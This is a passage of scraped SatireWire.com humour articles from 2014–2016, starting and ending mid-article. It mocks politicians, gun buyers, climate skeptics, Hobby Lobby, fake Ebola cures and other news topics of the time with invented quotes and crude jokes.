have the finances to do those things – and admittedly a lot of people don’t – there are other steps that don’t involve large amounts of money,” Feinstrobe said. “For instance, networking can pay huge dividends. So play golf with a Federal Reserve Board member, or go to a house party in the Hamptons, or have lunch with a fellow Harvard Business School graduate. “I think that’s the difference,” Feinstrobe said. “Did those other 3.6 billion people think to do even one of those things? Even one? That’s rhetorical. The answer is ‘Of course not.’” Meanwhile, in a detailed review of the Oxfam report, Forbes magazine calculated the average wealth of the top 62 individuals at $28 billion, while the average person in the lower 3.6 billion was worth $488. (See graph above) As a result, Forbes concluded the rich are 56 million times better people, an improvement from 2010, when they were only 45 million times better. © 2016 SatireWire.com Related Tags: 1 percent, income inequality, Oxfam, richest 62, wealth gap Previous Topic: MELTING ARCTIC ICE EXPOSES ANCIENT, OMINOUS MESSAGE Next Topic: PRESIDENTIAL PRIMARIES: THE BRUTALLY IMPARTIAL UPDATE'], ['no-topic', 'MELTING ARCTIC ICE EXPOSES ANCIENT, OMINOUS MESSAGE', 'GREENLAND (SatireWire.com) — Scientists today said ice melt in the Arctic is perhaps much worse than previously thought, reaching their conclusion after a massive slab of glacier fell into the sea to expose the message: “If you can read this, you’re screwed.” Written in letters 200 feet tall, the message was hidden deep inside Greenland’s massive Jakobshavn glacier, which formed 100,000 years ago and is one of the fastest melting ice sheets in the world. “We don’t know who left that message or exactly when, but it’s pretty clear that whoever did was issuing a wake-up call,” said Danish glaciologist Dr. Tomas Frabil. “People can argue about the numbers surrounding global warming, but when the ice retreats to the point where you can read the words, ‘You’re screwed,’ that is pretty definitive.” Climate skeptics, however, were quick to downplay the text, suggesting it may be a natural formation or the work of environmental activists. Experts ruled out a hoax, as the glacier calves so often and easily that anyone attempting to rappel down its face to sculpt the letters would die. And while unexpected shapes do appear in nature, no particularly rude words have been observed since lava flowing into the Sunda Strait after the 1883 Krakatoa eruption temporarily spelled out, “Bite me.” For climatologist Ingrid Linsohm of McGill University, this leaves one conclusion. “Some far-sighted, ancient civilization left that behind to tell us when we had reached the point of no return, and we’ve reached it. All is lost,” said Linsohm. “So, anybody got any heroin?” But ExxonMobil Chaplain the Rev. Derrick Speuce had a different take. “I think God put that message there because He knew it would one day be revealed, which means He knew about the ice melting, which means it was all part of His plan, which means there is no such thing as ‘man-made’ global warming, because it was God’s design all along,” said Rev. Speuce. “In other words, the Lord wants you to drive an Escalade.” © 2016 SatireWire.com Related Tags: climate change, glacier calving, glaciologist, global warming, ice melt Previous Topic: AMERICANS RUSH TO BUY MORE GUNS THAT WILL BE TAKEN AWAY Next Topic: REPORT CONFIRMS POOREST HALF OF WORLD PROBABLY NOT EVEN TRYING'], ['no-topic', 'AMERICANS RUSH TO BUY MORE GUNS THAT WILL BE TAKEN AWAY', 'WASHINGTON, D.C. (SatireWire.com) – Fearing that President Obama’s executive action on gun control will lead to their guns eventually being taken away, Americans today rushed to buy more guns that will eventually be taken away. Woman defending her rights “Gun control is the slippery slope to confiscation, so if they’re going to take my guns, the obvious thing to do is to buy more guns,” said Huntsville, Ala. gun owner Clay Turweil. “That way, when they do take them all away, I’ll have lost more guns than I would have if… um… “OK look,” he went on, “I spent $700 yesterday on a rifle and a handgun. That’s on top of the $700 in guns I already had. And I did that so now they’ll have to take away twice as many guns and I’ll be out twice as much money… no… “I need to call the NRA hotline. It makes sense when they say it.” Obama’s proposal, issued Tuesday, calls for more background checks, ramping up enforcement and equipping guns with safety measures, actions the NRA itself described as, “not really doing anything.” But that hasn’t stopped Americans from stocking up. On Tuesday morning, shares of gun makers Smith & Wesson and Sturm Ruger jumped, and the last five weeks of 2015 ranked among the 10 biggest weeks ever for firearm background checks. Speaking at a press conference Tuesday, Gun Lives Matter spokesman Trace Blank said the reasons are obvious. “All citizens need to take action and stockpile guns even if you don’t need them,” said Blank. “Like me personally, I only need two guns, my rifle for hunting and my .38 (caliber) for protection. But I’m going to get 10 guns just in case they take those two. That way I’ll still have eight left.” Asked if that meant the government wouldn’t actually take “all” his guns, since he’d still have eight, Blank frowned. “No, everyone knows they’re going to take them all. They’ll take all 10. So if I buy 20… no wait… Oh, I remember! I’ll hide them! I’ll bury them in the yard! That way, the government won’t get at them, and if I need them – like if a burglar breaks into my house at night – I won’t be able to get at them either… and… no more questions!” Back in Huntsville, gun owner Clay Turweil warned that no matter how many guns he eventually purchases, he has no intention of giving them up easily. “I’m going to buy more guns and they’re going to take them all, but believe me, they’re going to do it over my cold, dead body,” he said. “Over my cold, dead, slightly-less-affluent body.” © 2016 SatireWire.com Related Tags: background checks, executive action, gun control, gun hoarding, nra, obama Previous Topic: TRUMP TAKES CRAP ON STAGE AS WORDS TAKE SOLID FORM Next Topic: MELTING ARCTIC ICE EXPOSES ANCIENT, OMINOUS MESSAGE'], ['no-topic', 'TRUMP TAKES CRAP ON STAGE AS WORDS TAKE SOLID FORM', 'CLEMSON, S.C. (SatireWire.com) — Donald Trump’s increasingly toxic rhetoric reached its natural conclusion today as the Republican presidential frontrunner finished an explosive rant against Muslims, immigrants, minorities and the media by taking an actual shit on stage. The crowd at a South Carolina rally initially fell silent, but quickly found its voice after realizing the candidate had, in that moment, managed to sum up his gritty campaign. “Wow, that was like everything he’s ever said put into solid form!” gushed 24-year-old Ty Leveren of Aiken, S.C. “He just did what we’re all thinking!” added 55-year-old Randy Loafen of Columbia. Trump’s seemingly spontaneous evacuation came at the end of a particularly inflammatory 30-minute speech that simultaneously wound up his followers and unwound his bowels. “No one likes me saying it, but I’ll say it,” Trump told about 2,000 supporters. “Muslims are evil, OK? Minorities are dangerous. Protesters? Horrible people. And worse than all that, Time magazine named that fat loser Angela Merkel as ‘Person of the Year!‘ Not me, Angela Merkel! “Doesn’t that make you angry?” he went on. “Doesn’t that make you furious? In fact, doesn’t everything I say just make you want to… to… hold on. I’ll show you!” Trump then lowered his suit pants to his ankles, leaned over his podium, and defecated. Sensing unease in the silence that followed, the candidate quickly took control, strutting around the stage and nodding at his handiwork. “First of all, I have to say, wow, that’s a great crap,” Trump said. “Maybe the best crap ever? People will say that. Because I crap like nobody’s business, that’s how good I am at crapping. I’m full up to here with it. Doctors – the best specialists – have told me that. They say, ‘Donald, you’re so amazing. You’re so full of crap.’ So yeah, great, great crap. “But that steaming pile on the floor is more than that, folks,” he continued. “That incredible, steaming pile of billionaire gold is my message. That’s what I say about Islam! That’s what I say about liberal America! That’s what I say about Time magazine! That, folks, is what I have said, and will continue to say, right up to the day I’m sworn in as your next president!” The crowd then burst into cheers, replacing its usual chant of “Trump! Trump! Trump!” with shouts of, “Dump! Dump! Dump!” But the business mogul demurred. “Folks folks folks, please, I can’t,” he intoned. “I’ve got to save some. I’ve got other rallies today. But trust me, when I leave here, I’m going to shit on Iowa, I’m going to shit on New Hampshire, and when I’m elected, I’m going to shit on the whole country!” After the rally, Trump followers were ecstatic. “Trump is the real deal,” said Cheryl Cramhoster of Mt. Pleasant, S.C. “You know where he stands, and now we even know what he had for breakfast!” Karen Everton, 66, who drove to the rally from North Carolina, said the crude delivery of Trump’s message would not dampen her enthusiasm for his presidential bid. “I don’t know why he did it, but it makes me love him even more,” she said. “It’s like, Donald Trump doesn’t just say shit, he does shit. He literally does shit.” © 2015 SatireWire.com Related Tags: 2016 election, ben carson, clinton 2016, donald trump, marco rubio, presidential election, republican primary, ted cruz, the donald, trump 2016 Previous Topic: BEN CARSON INSISTS HE SO BAD HE FUCKED YOUR MOTHER Next Topic: AMERICANS RUSH TO BUY MORE GUNS THAT WILL BE TAKEN AWAY'], ['no-topic', 'BEN CARSON INSISTS HE SO BAD HE FUCKED YOUR MOTHER', 'DES MOINES, IOWA (SatireWire.com) — With skepticism mounting over his claims of juvenile delinquency, Republican presidential candidate Ben Carson today issued the most self-damning evidence yet, insisting that not only did he regularly wield weapons, and once tried to stab a man, but he also fucked your mother. Dr. Ben Carson “Despite these efforts to deny my young life of crime, I assure you I was a terrible person who did terrible things,” said Carson. “For example – and I believe this adequately reflects my point – I fucked your mother. I recall that one day I came upon a distaff member of the homo sapiens species, and upon seeing her I felt an engorgement of my reproductive organ, and so motivated, I acted upon it with what I can only describe as youthful rage.” Carson, who leads in many polls, added that before finding God and managing to calm his inner demons, he set fire to an orphanage, punched a homeless man, and kneecapped the entire 1963 Detroit Pistons basketball team. Carson’s insistence on his delinquency came into question recently after CNN investigative reporters could find no witnesses to attest to his allegedly violent past. However, the retired neurosurgeon, known for his soporific manner, blasted those who would doubt him. “I’m not proud of any of my past behaviors, but I want you to see that I’m a changed person,” said Carson. “If you choose not to believe me, that’s fine. I mean, there was a time when that would have angered me. There was a time when I would have gone after you with a pitchfork and ripped out your entrails. I would have gutted you like a fish. But upon reflection, I believe that such activity no longer interests me.” In regard to his latest assertion, Carson refused to identify the particular mother, leading some in the media to immediately doubt its veracity. However, speaking to the press afterward, Carson spokesman James Spreedlow clarified, saying the victim was not meant to be a particular mother, but instead was a composite of all your mothers. Carson’s violent claims – and his lead in many polls – quickly caused rival candidates in the crowded field to insist that they, too, were horrible people in their younger years: Former Florida Gov. Jeb Bush now claims he once crushed the skull of a Shetland pony using only two fingers. New Jersey Gov. Chris Christie recalled that he ate a disabled veteran’s wheelchair with the veteran still in it. South Carolina Sen. Lindsey Graham said he used a knitting needle to blind his entire third grade class. Sen. Marco Rubio said he bombed a pet cemetery. Ohio Gov. John Kasich denied never selling babies to crack dealers. Kentucky Sen. Rand Paul admits he regularly drew penises on pictures of author Ayn Rand. Louisiana Gov. Bobby Jindal said he regularly kidnapped pizza delivery drivers and sold their kidneys. Texas Sen. Ted Cruz said he fucked your sister. Business executive Carly Fiorina said she fucked your brother. Former Arkansas Gov. Mike Huckabee said he fucked your father. Meanwhile, business mogul Donald Trump said that when he was a young man, he was Donald Trump. © Copyright 2015 SatireWire.com Related Tags: ben carson, bobby jindal, carly fiorina, chris christie, donald trump, hilary clinton, jeb bush, lindsey graham, mike huckabee Previous Topic: BOWING TO GOP PRESSURE, OBAMA AGREES TO BE EMPEROR OF AMERICA Next Topic: TRUMP TAKES CRAP ON STAGE AS WORDS TAKE SOLID FORM'], ['no-topic', 'BOWING TO GOP PRESSURE, OBAMA AGREES TO BE EMPEROR OF AMERICA', "WASHINGTON, D.C. (SatireWire.com) – After repeatedly being labeled a dictator by Republicans and conservative media, President Obama today reluctantly agreed to become the Emperor of America they insisted he already was. “Every day I kept hearing, ‘Emperor, king, tyrant,’ on and on,” said Obama of the Republican outcry following his executive order on immigration. “So eventually I’m like, ‘You know what? Fine. I’ll be Emperor. Whatever.’ I mean, half of America already thinks of me as an emperor, and that’s the half that doesn’t like me. “It’s not that bad, really,” His Imperial Majesty said of the new role. “Yesterday, the San Francisco Giants came to the White House. I had them gilded.” Just a few of the many images on the Internet supporting Obama's status as Emperor. Republican leaders immediately protested, leading to a frank Oval Office exchange between John Boehner, now former Speaker of the disbanded House, and Obama, newly crowned leader of the Not-Quite-So-Free World. “It’s a misunderstanding. We don’t really want an emperor,” Boehner said. “That’s not what we meant. You’re not an emperor.” “Really?” Obama responded. “That’s funny, because the other day your spokesman referred to me as, and I quote, ‘Emperor Obama.’ And it’s not just you. There’s Rush Limbaugh and (Sen.) Jeff Sessions and most everybody at Fox News. Emperor emperor emperor.” “Look, it was hyperbole, OK?” Boehner explained. “We were just angry that you pushed immigration reform on your own, like an emperor.” “But I acted on my own because you guys wouldn’t do anything,” Obama answered. “You’ve done that since I took office.” “Yes, because we… well, we wanted you to go away.” “You wanted me to go away.” “Yes.” “So you called me emperor?” “Yes. No. Sort of. But…” “You do know emperor is a permanent position, right? President: four years. Emperor: forever.” “OK, maybe we should have toned down the rhetoric.” “Maybe? Because you realize all the bogus stuff you accused me of in the past, like that $200-million-a-day trip to India, now I get to do that for real, and you can’t complain.” “Yeah. I’ll try to stop some of that. You have my word.” “I could have your head. Technically. You know, emperor and all.” “Whoa now. Just… let’s not get carried away.” “Too late. What was it that Congresswoman from Tennessee — Marsha Blackburn — what was it she said about me the other day? Oh yes. ‘Soon we will no longer need the legislators or the courts. King Obama will make the law, interpret the law, and if he so chooses, enforce the law.’” “All right, she might have gone overboard,” Boehner admitted. “But hey, you can’t say you’ve been entirely honest either. You’ve misled people.” “And a President should be held accountable for that.” “Exactly.” “But an Emperor is never accountable. So… smooth move you. “OK, you’ve made your point,” Boehner said. “Speaking of points. We have the whole ‘enemies of the state’ issue. You all oppose me, so legally I’ll have to put your heads on spikes.” “That’s… you can’t do that!” “Having a real emperor is a bitch, ain’t it?” “You’re not a real emperor!” Boehner yelled. “Honestly,” said Obama, “you can’t agree with me even when I agree with you.” And at that moment, Obama turned and gave a signal to his cabinet members, who, Boehner hadn’t noticed before, were each dressed as individual Latin American countries. Out of thin air — which suddenly smelled of guacamole and guajillo chilis – a monstrously large guillotine appeared. Burly U.S. border guards, shouting orders in Spanish, dragged Boehner into the machine and forced him to his knees. Despite this, he was somehow face up, looking at the looming blade, which he would have thought was odd except he was distracted by the mariachi music that came out of his mouth whenever he tried to talk. Emperor Obama, his head wreathed in barbed wire, standing atop a wall that seemed a thousand miles long and was made entirely of tortillas and human suffering, shouted, “Hit it, Jimmy!” and Jimmy Page, lead guitarist of Led Zeppelin, launched into “The Immigrant Song.” The dangling guillotine blade, which Boehner now noticed was not made of steel but was instead a gigantic and lethally sharpened Green Card, came rushing down toward his head. Boehner let out a cacophonous scream. “Amnesty!” he shouted… And woke up in his bed, in a cold sweat, the sheets wrapped around his neck as a callow winter sun rose over the nation’s capital. “Honey, you all right?” his wife Debbie asked. Wild-eyed, John turned to Debbie. “Obama is not an emperor,” he said in a hoarse morning whisper. “I’ve seen a real emperor. He’s not that. He’s never been that. We have to stop saying he is.” And from that moment on, Republicans and Democrats, conservatives and liberals, the President and the House Speaker, toned down their rhetoric and passed sweeping immigration legislation based, not on fear and ignorance, but on what was best for the American people. And then President Obama woke up and realized it was all just a dream. “Fuck,” he said. © 2014 SatireWire.com Related Tags: boehner, emperor obama, executive order, immigration, immigration reform, king obama, obama Previous Topic: SURVEY: MOST AMERICANS OK WITH YOU BEING QUARANTINED Next Topic: BEN CARSON INSISTS HE SO BAD HE FUCKED YOUR MOTHER"], ['no-topic', 'SURVEY: MOST AMERICANS OK WITH YOU BEING QUARANTINED', 'NEW JERSEY (SatireWire.com) – A new poll shows nine in 10 Americans support a mandatory quarantine for someone who has been in close contact with Ebola patients, even if it violates their civil rights, as long as the someone being quarantined is you and not them. Though known for being tough and resilient, Ebola, once imprisoned, usually cries itself to sleep. According to the CNN/ABC survey of 5,000 Americans, 89 percent of respondents said they would support enforced isolation for those been exposed to Ebola in any and all cases where it’s you we’re talking about. “Americans have a reputation for being too individualistic, too concerned with personal freedoms, but this study shows nothing could be further from the truth,” said Grandin. “When it comes down to safeguarding society, most Americans are willing to forego your personal freedoms without a moment’s hesitation.” Grandin noted this opinion cuts across all racial, gender, socioeconomic and ethnic divides, “with the only exception being the respondents themselves.” In addition, seven in 10 of those polled agreed with New Jersey Gov. Chris Christie for forcibly isolating 33-year-old Maine nurse Kaci Hickox, who had worked in West Africa. Asked why they agreed, 90 percent of respondents said it was because they weren’t 33-year-old Maine nurse Kaci Hickox. The same percentage also said they were happy Hickox was released, until pollsters said the survey was anonymous, after which nearly all respondents said Hickox should have been shot, In other survey results: If you were in forced quarantine, 72 percent said they would let you go if it were up to them, but it’s not up to them. 98 percent said they personally would voluntarily isolate themselves if they were health care workers, but they’re not. 88 percent of Americans said a doctor has the moral obligation to treat Ebola patients as long as it’s your doctor and not their doctor. © 2014 SatireWire.com Previous Topic: HOBBY LOBBY DECLARES MIDWEST ARTS & CRAFTS CALIPHATE Next Topic: BOWING TO GOP PRESSURE, OBAMA AGREES TO BE EMPEROR OF AMERICA'], ['no-topic', 'HOBBY LOBBY DECLARES MIDWEST ARTS & CRAFTS CALIPHATE', 'OKLAHOMA CITY (SatireWire.com) — In a brutal and stunning offensive, thousands of Hobby Lobby associates, armed with X-Acto knives, scalloped-edge scissors and dual-temperature cordless glue guns, swarmed across the Deep South and Midwest this morning, declaring the entire region the Arts & Crafts Caliphate of Middle America. Holding a set of diorama trees, this Alabama resident was reportedly forced to knit his own macrame vest and leopard-print Santa hat Town after town quickly fell to brigades of blue-smocked fighters and fanatical Do-It-Yourselfers who replaced U.S. and state flags above city halls with seasonally decorated polyester porch pennants. Estimated to number more than 100,000, the DIYhadis showed little mercy, threatening to glitter-glue anyone who refused to join the proto-state. Many who resisted were bound with hand-dyed, 6-ply Ecru tatting thread and had their tongues laminated. Others were simply left in the street to diorama. Videos posted on YouTube show government buildings suffered extensive decoupage. The Obama administration quickly denounced the invasion, but refused to mobilize U.S. ground troops due to reports the extremists had mined roads with Improvised Embroidered Devices and were armed with remarkably fun and easy-to-make balsa wood catapults capable of firing bronze drapery finials or 10mm round silver bells in packages of 20 for $4.99. Though the attack was unexpected, analysts had warned of an uprising after last summer’s Supreme Court decision in favor of Hobby Lobby that granted religious freedom to corporations. Led by evangelical Christian David Green, the nationwide chain took its victory as a sign that the Lord prefers craft-based capitalism, and now claims the true path to righteousness is lined with half-off black wash photo frames and Hobby Lobby® brand wooden buttons in assorted sizes. Refugees who bravely made it past lace-ribbon border checkpoints into neighboring states spoke of numerous atrocities. Eyewitnesses said ACCMA fighters forced men to convert 18-inch polyfoam cones into decorative Christmas trees using only snowflake sequins and hunter green fast-dry enamel paint. Women were corralled into galvanized chicken wire pens and made to enroll in burlap wreath-making classes. Several government buildings, like the town hall in Apex, N.C. (above), suffered extensive decoupage. “And the children… oh God the children,” said one refugee. “No one should be forced to use zebra-print, faux-leather swatches for any reason. Ever.” Media outlets were also overrun and immediately began pumping out radicalized, make-your-own propaganda. The captured St. Louis Post-Dispatch ignored the fighting and instead published a 48-page dictate on the appropriate uses of terra cotta flowers as makeup mirror adornments. NBC-affiliate Channel 13 in Birmingham, Ala., replaced regular programming with a 12-part series on pewter rosettes. Speaking from the proto-state’s capital in Oklahoma City, Caliph David Green claimed the region’s 160 million people were now his followers, and urged hobbyists and craft-leaning people the world over to submit. While “caliphate” is usually an Islamic designation, Green said he had converted use of the word in the same way his followers might convert a long-stemmed flower vase into the base of a fluted turquoise floor lamp with fleur-de-lis embellishments. He also issued a warning that the worst is not over. “We declare now and forever the Arts & Crafts Caliphate of Middle America, and those who oppose us will suffer the consequences,” said Green. “Until our claim is recognized, we will hang one frame every hour. Our fighters will drape and frillage. Do not doubt my resolve. I’ve got extra-large Styrofoam balls.” Late this afternoon, the U.S. government raised the national threat level from Orange to Cadmium Ochre. © 2014 SatireWire.com Related Tags: arts & crafts, caliph, caliphate, hobby lobby, isis Previous Topic: FAKE DRUG COMPANIES RACING TO CREATE PHONY EBOLA VACCINE Next Topic: SURVEY: MOST AMERICANS OK WITH YOU BEING QUARANTINED'], ['no-topic', 'FAKE DRUG COMPANIES RACING TO CREATE PHONY EBOLA VACCINE', "NASHVILLE (SatireWire.com) — With the world in a near-panic, fake pharmaceutical companies and Internet ‘medical experts’ are racing to be the first to market with a passably credible ‘Ebola vaccine’ that could be worth millions of dollars and save, in a literal sense, countless lives. “The fake-Ebola-vaccine market is wide open right now,” said Nacir Vendrom who, posing as ‘MegaHealthy Labs,’ pedals phony testosterone pills online. “Everybody knows there isn’t a cure and everyone is just waiting for something, anything, to come out. They’re waiting to get that email that tells them the world’s first clinically proven Ebola vaccine can be theirs for just $39.99 plus shipping and handling.” Jeremy Trowburt plans to market Ebola cure 'Trevamax' online; the 'pills' are actually just pieces of dry cat food (inset) for his cat Trevor. According to Vendrom and others, several promising fraudulent Ebola vaccine candidates are currently in various stages of development. Included among them are Ebolaway, a sugar-coated pill made of Ibuprofen, coffee grounds and olive oil created by two guys named Lenny and DeSean in Lenny’s Piscataway, N.J. garage; and Ebopede, which are relabeled bottles of cough suppressant that will soon be sold via email by a husband-and-wife in Seattle who will claim it is the same drug secretly given to U.S. military personnel. The key to beating the competition, according to Vendrom, is to seem viable without going over the top. “You can call something No-bola or Ebola-begone, but that’s only going to appeal to a certain segment of the market, people without much of an education who maybe don’t have much money to spend,” he said. “But if you give it some complicated scientific name, I’m thinking Thromval-7 or Z-Trexiquon, then it appeals to a more educated, thoughtful, yet still gullible market. Canadians, mostly.” Some of the larger fake drug companies from China and Eastern Europe, with their massive email lists, may have a big marketing advantage in the race. But in suburban Nashville, 32-year-old Jeremy Trowburt said he believes the little guy can be more nimble. “If you think of smallpox, that wasn’t cured by some big pharma conglomerate, it was cured by one guy named Bruce Jenner,” said Trowburt, apparently referring to 18th Century English physician Edward Jenner. “Well, some of these fake online medicine outfits have, like, three or four people. And maybe some cousins. That slows you down. Me, I don’t even have to think. I can just react.” To that end, Trowburt said he’s all but abandoned his eBay business selling fake Confederate swords to focus on his potential Ebola cure: Trevamax. “These are actually just some cat treats I had in a bag in my pantry,” said Trowburt of the ‘medicine’ he named after his cat Trevor. “But since humans don’t usually eat cat treats, I figured I could market these as chewable Ebola pills. I could sell them for $20 a treat on the Internet.” Currently, however, Trowburt conceded he’s still in the testing phase. “I’m trying to decide if these look better dyed blue or red, and if I should call them, ‘The Only Ebola Cure Approved by an International Panel of Medical Disease Experts, ‘ or ‘The Ebola Cure that the U.S. Government Doesn’t Want You to Know About,” he said. © 2014 SatireWire.com Related Tags: ebola, ebola cure, ebola panic, ebola vaccine Previous Topic: SECRET SERVICE HEAD RESIGNS; OBAMA ‘PSYCHED’ TO SLEEP W/O GUN Next Topic: HOBBY LOBBY DECLARES MIDWEST ARTS & CRAFTS CALIPHATE"], ['no-topic', 'SECRET SERVICE HEAD RESIGNS; OBAMA ‘PSYCHED’ TO SLEEP W/O GUN', 'WASHINGTON, D.C. (SatireWire.com) — President Obama accepted the resignation of Secret Service Director Julia Pierson on Wednesday, saying he looked forward to both finding a successor and for once not sleeping with a gun under his pillow. The President said he would also try to get out of his new ADT Home Security contract, “but you know what that’s like.” With her departure, Pierson instantly becomes the first unwanted person the agency has managed to keep from accessing a government building in nearly three years. Pierson had been under fire for multiple attention-getting security lapses during her tenure, and sealed her fate during Congressional testimony on Tuesday, when she pledged to fix the agency’s problems by providing more secret and less service. White House fence jumper Omar Gonzalez probably should have been arrested before he took this Oval Office selfie wearing a Secret Service blazer, Pierson admitted. “I get what you’re saying, I do,” Pierson told members of the House Oversight Committee in her testimony. “Every time we fail to stop a fence jumper or allow an armed man into the elevator with the President, we draw attention to ourselves. And you’re thinking, ‘Hey, Secret Service, you’re not being very secret!’” House members exchanged baffled looks before responding. “Actually Madame Director,” said Rep. Stephen Lynch, D-MA, “the problem is, your agency keeps making mistakes…” “And you keep hearing about it, I know,” Pierson interrupted. “But that won’t happen again. Because we’re going underground. Super secret. Like statues. No matter what happens, we won’t even move.” Pierson then froze in place, staring into the distance without blinking. “Madame Director?” asked Rep. Darrell Issa, R-CA, after an awkward pause. “Statue,” Pierson whispered, her lips barely moving. “Madame, just so we’re clear…” Issa said. “No, I’m clear,” she replied. “A clear statue. Undetectable.” “Just so we’re clear,” Issa continued, “are you saying that from now on, if someone threatens the President, you’re just going to ignore it? And please, unfreeze to answer.” “No sir. We will deal with it,” Pierson said. “But internally. Amongst ourselves. In secret. So as not to tip our hand.” “Then what’s to stop the threat from becoming reality?” asked Rep. Jason Chaffetz, R-UT. “Exactly,” Pierson said. “Nobody will know. Everyone will be thinking, ‘Where are they? Why aren’t they doing anything?’ We’ll be like a mystery. Super super secret.” Pierson then repeatedly waved her hands in front of her face, made a whooshing sound, and closed her eyes. Committee members could not hide their frustration. “Madame Director, what are you doing now?” asked Rep. Elijah Cummings, D-MD. “I’m not here,” Pierson whispered. “Madame Director, we can see you,” said Cummings. “There is no Madame Director,” Pierson said. “There is no Secret Service. We’ve disappeared.” After a short recess, committee members returned to the chamber and told Pierson they would recommend the President fire her. In response, Pierson opened one eye and shrugged. “Won’t work,” she said. “If you fire me, I’ll just break back into Secret Service headquarters and keep working. Security is really lapse.” © 2014 SatireWire.com Related Tags: Darrell Issa, Jason Chaffetz, Julia peterson, secret service, Stephen Lynch, white house intruder Previous Topic: SCOTS VOTE TO STAY IN UK; “YES” VOTERS TO BE HANGED AS REBELS Next Topic: FAKE DRUG COMPANIES RACING TO CREATE PHONY EBOLA VACCINE'], ['no-topic', 'SCOTS VOTE TO STAY IN UK; “YES” VOTERS TO BE HANGED AS REBELS', 'LONDON (SatireWire.com) — Declaring the rebels “will pay with their lives,” Queen Elizabeth II today revealed Thursday’s vote on Scottish independence was an elaborate ruse meant to root out Scottish radicals, whose public “Yes” votes will now condemn them to death. In the referendum, 55 percent of Scots voted to remain part of the United Kingdom, while 45 percent voted for independence. “We are pleased that the majority of our Scottish subjects have chosen to respect our great union, and We shall do all We can to continue to earn their loyalty,” said the Queen. “As for the rest, kill them. Kill them all.” Prime Minister David Cameron, meanwhile, said the “Yes” votes were a decision Scots would, “once again, regret.” “As we have throughout history – from Falkirk to William Wallace to the failed Jacobite Risings – Great Britain will always deal harshly with those who would seek to threaten the unity of our realm,” said Cameron. “One would think these traitors would learn, but the Scots are a stubborn lot, little more than animals, if truth be told, and now they will pay for their impudence.” Traitorous Scottish tennis star Andy Murray, an advocate of independence, was arrested this morning and stripped of his Wimbledon title. Over the next several weeks, Cameron said British troops will round up the 1.6 million Scots who voted “Yes,” most of whom will be put on trial for sedition and hanged. Those who confess their crimes and swear fealty to the Crown will be shown lenience in the form of a quicker death-by-beheading. To drive home the pointlessness of resistance, family members of the guilty will be transported to England’s penal colonies in Australia and the West Indies. The vote on independence was scheduled two years ago when the Queen, tired of the “bleating Scots,” devised a scheme to end secessionist talk once and for all. “We set a trap for them, much as they did for us at the Battle of Bannickburn,” said Her Majesty. “It worked just as We planned. Our enemy is defeated. Britain is victorious. God save Me.” The Queen went on to declare that those who proved their loyalty by voting “No” in the balloting will divide up the lands and assets of the condemned. In the House of Lords, meanwhile, rebel sympathizers will be replaced by royalists, who will also claim the ancient right of ius primae noctis, or “First Night,” allowing them to bed Scottish brides on their wedding nights. In addition, several high-profile “Yes” voters will be made to suffer publicly, including Scottish tennis star Andy Murray, who will be stripped of his Wimbledon title and flogged, and musicians Charlie and Craig Reid of The Proclaimers, who will be forced to walk 500 miles before their decapitations. But the greatest punishment will be meted out to Scottish First Minister Alex Salmond, the professed ringleader of the secessionist movement. “The traitor Salmond has committed high treason against Our person and would rob Us of Our rightful sovereignty,” said the Queen. “Therefore, he will be hanged by the neck, cut down while still alive, disemboweled, have his entrails burned before his eyes, and then beheaded and quartered. “We are most displeased with that one,” she added. © 2014 SatireWire.com Related Tags: #indyref, alex salmond, scotland vote, scotland yes, scottish independence Previous Topic: GOD DEFENDS SCENES OF SEX, VIOLENCE IN LIFE ON EARTH Next Topic: SECRET SERVICE HEAD RESIGNS; OBAMA ‘PSYCHED’ TO SLEEP W/O GUN'], ['no-topic', 'GOD DEFENDS SCENES OF SEX, VIOLENCE IN LIFE ON EARTH', 'EDINBURGH (SatireWire.com) – The Lord God Almighty, executive producer of the long-running Life on Earth, has defended its often graphic scenes of violence, sex and abuse, arguing that His job is not to police, “how many breasts get exposed or how many people die, or whatever.” The global show, which airs 24-7, is often criticized for its graphic nature, but its Creator said powerful storytelling must sometimes make audiences uncomfortable. “Life on Earth involves wars, violence and sex because life involves wars, violence and sex,” said God, speaking at the Edinburgh International Television Festival. “If we wrote it any other way, it wouldn’t be believable.” God revealed that while He created the show, it is actually scripted by two experienced writers, whom He identified as Dan and Benji. “I give Dan and Benji free reign on the scripts, and I’m certainly not going to have them tone things down over a few complaints,” He said. The program has been running for 4.5 billion years, although the human characters weren’t introduced until about 100,000 years ago. Ever since, the level of violence in the show has raised debate within the vast community of humans. Recently viewed scenes of relentless bombings, viral outbreaks, rapes and beheadings have been widely discussed in the media, sparking a storm of criticism and argument that Life on Earth is “crossing the line.” God, however, said the criticism only confirms that the show has got it right. “I appreciate there was some controversy and it generated a conversation about what acceptable levels of violence and assault are,” God said. “But to Me, those responsible for programming have two responsibilities. One is to be responsible, that is, to not show sex and violence that’s gratuitous. That is certainly not who I am. At the same time, I don’t want to be a censor that inhibits the authentic, organic creative process by policing how many breasts should be on a show, or how many children die, or whatever.” The program, which airs everywhere on the planet, certainly has had its critics through the years. Thomas Hobbes called it, “nasty, brutish, and short,” while H.L. Mencken labeled it, “a bore.” But God said the ratings speak for themselves. “People might not like what they see happening in Israel or Ukraine or Malaysia, but you have to admit it’s compelling,” He said. “People tune in, day after day after day. Always have, always will.” But do they have a choice? “Actually, yes,” God said. “Everyone watches the show, and everyone is in the show. It’s participatory theater writ large. But if you don’t want to be in it, or don’t want to watch it, you can just change the channel. Which is to say, Benji and Dan will just write you out.” “Keep in mind that Dan and Benji will eventually write you out anyway,” He added. “They’ll just do it sooner.” As for the scenes of violence, horror and degradation, the Producer insisted they will continue. “Right now the show is centered around humans – at least as far as humans are concerned – and we’re just showing humans behaving like they do,” He said. “And it’s not all horrible. We have beautiful characters, too. Friendly characters. Honorable characters. It’s not graphic all the time. It’s not ‘Game of Thrones.’” When asked, God said he does not know how the show will end, as Dan and Benji haven’t told him. © 2014 SatireWire.com Previous Topic: DAN AND BENJI, NOT GOD, WORK IN MYSTERIOUS WAYS Next Topic: SCOTS VOTE TO STAY IN UK; “YES” VOTERS TO BE HANGED AS REBELS'], ['no-topic', 'DAN AND BENJI, NOT GOD, WORK IN MYSTERIOUS WAYS', '(SatireWire.com) — In a surprising disclosure, God revealed this week that He does not determine what happens in human lives, but instead leaves that to his head writers, Dan and Benji, who have been scripting Life on Earth since the show’s beginning about 4.5 billion years ago. The following is an exclusive, first-ever interview with the pair. Q: So, it turns out God doesn’t work in mysterious ways. Instead, it’s two guys named Dan and Benji. DAN: I know, right? Pretty crazy. Q: But you don’t get credit. DAN: Well, we’re non-union, so… BENJI: Besides, His name scans better than ours. ‘Behold the wrath of Dan and Benji!’ 